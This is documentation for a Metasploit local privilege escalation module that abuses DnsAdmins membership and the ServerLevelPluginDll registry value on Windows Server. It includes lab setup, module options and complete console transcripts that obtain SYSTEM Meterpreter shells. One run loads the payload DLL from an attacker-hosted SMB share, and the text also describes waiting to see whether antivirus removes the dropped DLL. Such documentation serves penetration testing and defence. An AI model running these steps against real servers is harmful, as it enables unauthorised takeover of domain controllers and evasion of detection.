Vulnerable Application
Windows Server 2003 and above
Introduction
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the ServerLevelPluginDll
value using dnscmd.exe to create a registry key at HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\
named ServerLevelPluginDll
that can be made to point to an arbitrary DLL. Restarting the DNS service will then result in the attacker's DLL being loaded and executed as the SYSTEM user, thereby granting the attacker SYSTEM privileges.
Note that if the option to drop the DLL file on the host is selected (instead of the option to use a UNC path), there is a possibility that antivirus may detect the DLL file and remove it. In this case it will not be possible to restart the DNS service via the Service Manager without first clearing out the ServerLevelPluginDll
value of the HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
key using an account with administrator privileges.
To avoid the potential of this occurring, this module has a configurable option, AVTIMEOUT
, which allows users to configure how long they would like to wait for any potential AV to pick up on the file after which the module will then check to ensure the dropped DLL file exists prior to creating the ServerLevelPluginDll
value within the HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
key.
It should also be noted that the UNC path option may run into a similar issue if an incorrect IP address is typed in, so users should be especially careful when setting the value of DLLPATH
to ensure that they don't inadvertently set an incorrect IP address and thereby prevent the DNS server from being able to restart.
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows Server version up to and including Windows Server 2019.
Setup Steps (Windows Server 2019 Standard)
Install Windows Server 2019 Standard with GUI
Install and configure Active Directory Domain Services and DNS services.
Promote the server to a domain controller once the initial setup wizard is complete. This will complete the setup of the AD.
Reboot
Add a new user which I called normal and set its password to a long string such as thisIsADamnGoodPassword123!
. Don't use any other special characters or you may end up violating the default password policy.
Add this new user to two groups: DnsAdmins
(should have been created with the installation of the DNS server and the AD Server), and Remote Desktop Users
. See https://www.snel.com/support/create-user-and-allow-rdp-permission-on-windows-server-2016/ for info on how to do this.
To go Group Policy Management -> Forest -> Domains -> *your domain name* -> Domain Controllers -> Default Domain Controllers Policy
and right click on it, then select Edit. From here select Policies -> Windows Settings -> Security Settings -> Local Policies -> User Right Managements and then select the Allow log on locally policy underneath this and double click on it. Ensure the Define these policy settings option is checked, and then select Add User or Group and add in the name of the user that you just created. It should look something in the format of domain name*user name*. Then click Apply and click OK.
Run gpupdate again.
Reboot
You should now be able to log in as the new user, which should also be in the DnsAdmins group. You can confirm this by running net localgroup DnsAdmins
and confirming that the new user is listed as a member of this group in the output returned.
Run wmic useraccount where name='*username of the new account*'
to get the SID of the new account that you added in earlier.
Run sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
in an elevated command prompt replacing the sample SID with the SID obtained via the earlier command (aka the SID of the new low privileged user you added).
Verification Steps
Get a Meterpreter shell
use exploit/windows/local/dnsadmin_serverlevelplugindll
set PAYLOAD <payload>
. Payload architecture must be the same as the target system
set LHOST <lhost>
set LPORT <lport>
set SESSION <session_no>
to specify session
set DLLNAME <dllname>
if you want to name your DLL something other than msf.dll
set DLLPATH <dllpath>
if you want to place your DLL somewhere other than %TEMP%
or if you want to use a UNC path
set MAKEDLL true
if you want to just make the DLL, and not carry out the exploit
exploit
to get SYSTEM shell if MAKEDLL
is set to false
, or to write the DLL to the ~/.msf4/local
folder if MAKEDLL
is set to true
Options
DLLNAME
Name of the DLL to use.
DLLPATH
Location of the DLL to use. If a UNC path is provided, the module will assume that the operator has already performed the following actions:
Set up a working SMB2 share (via a tool such as Impacket's smbserver.py
via a command such as sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/
Created a DLL of the same architecture as the target system and placed in within this share.
MAKEDLL
If set to true
, then just create the DLL, do not conduct the full exploit. The resulting DLL will be stored in the ~/.msf4/local
directory.
AVTIMEOUT
Time, in seconds, to wait for any AV on the target system to potentially pick up on the dropped DLL file, prior to the module checking to see if the DLL file still exists. This is needed to prevent a scenario where the DLL file gets removed and the module tries to make changes that could prevent the DNS server from being able to start.
Scenarios
Windows Server 2019 Standard x64, writing msf.dll
to %TEMP%
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME msf.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL false yes Just create the DLL, do not exploit.
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.17.168.195 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123
RHOST => 172.17.169.123
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788
LPORT => 7788
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Checking service state...
[*] Building DLL...
[+] Wrote DLL to C:\Users\normal\AppData\Local\Temp\1\msf.dll!
[*] Sleeping for 60 seconds to ensure the file wasn't caught by any AV...
[+] Looks like our file wasn't caught by the AV.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\1\msf.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:7788
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.17.169.123:7788) at 2020-09-09 14:48:59 -0500
meterpreter >
[+] Exited danger zone successfully!
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows RAPID7\normal @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:4444 (172.17.169.123)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:7788 (172.17.169.123)
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : WIN-M5JU6L5RA9L
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : RAPID7
Logged On Users : 12
Meterpreter : x64/windows
meterpreter >
Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll
The easiest way to set this up is to Impacket's smbserver
. You can find the source code for Impacket at https://github.com/SecureAuthCorp/impacket. Download the latest release and untar it, then cd
into the new directory that is created. You should see a file named setup.py
. Run the command sudo python3 setup.py install
and it will install Impacket for you. Once this is done, navigate to the examples
directory and follow the following steps:
~/Desktop/impacket-0.9.21/examples sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
This will create a SMBv2 server, listening on IP address 172.17.168.195, with a share named test
, that will be sharing the contents of the directory at /home/gwillcox/.msf4/local/
. Next, set MAKEDLL
to true
and run the module to generate the payload.
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME mp4.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL true yes Just create the DLL, do not exploit.
SESSION 3 yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 6688 yes The listen port
RHOST 172.17.169.123 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
Once the DLL has been generated, one can proceed with the actual exploit:
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false
MAKEDLL => false
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\\\172.17.168.195\\test
DLLPATH => \\172.17.168.195\test
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Checking service state...
[*] Using user-provided UNC path.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to \\172.17.168.195\test\mp4.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.17.169.123:6688) at 2020-09-09 15:06:33 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-M5JU6L5RA9L
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : RAPID7
Logged On Users : 12
Meterpreter : x64/windows
meterpreter >
Windows Server 2019 Standard x64, just creating DLL
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME mp4.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL true yes Just create the DLL, do not exploit.
SESSION 3 yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 6688 yes The listen port
RHOST 172.17.169.123 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
Notes
This module is not particularly opsec-safe as it drops a DLL to disk, writes to the registry, and is sure to generate a ton of event logs when the DNS service is stopped and restarted..
Automatic cleanup of the dropped DLL is attempted if the DLL has been written to disk, but if automatic cleanup fails manual cleanup may be necessary.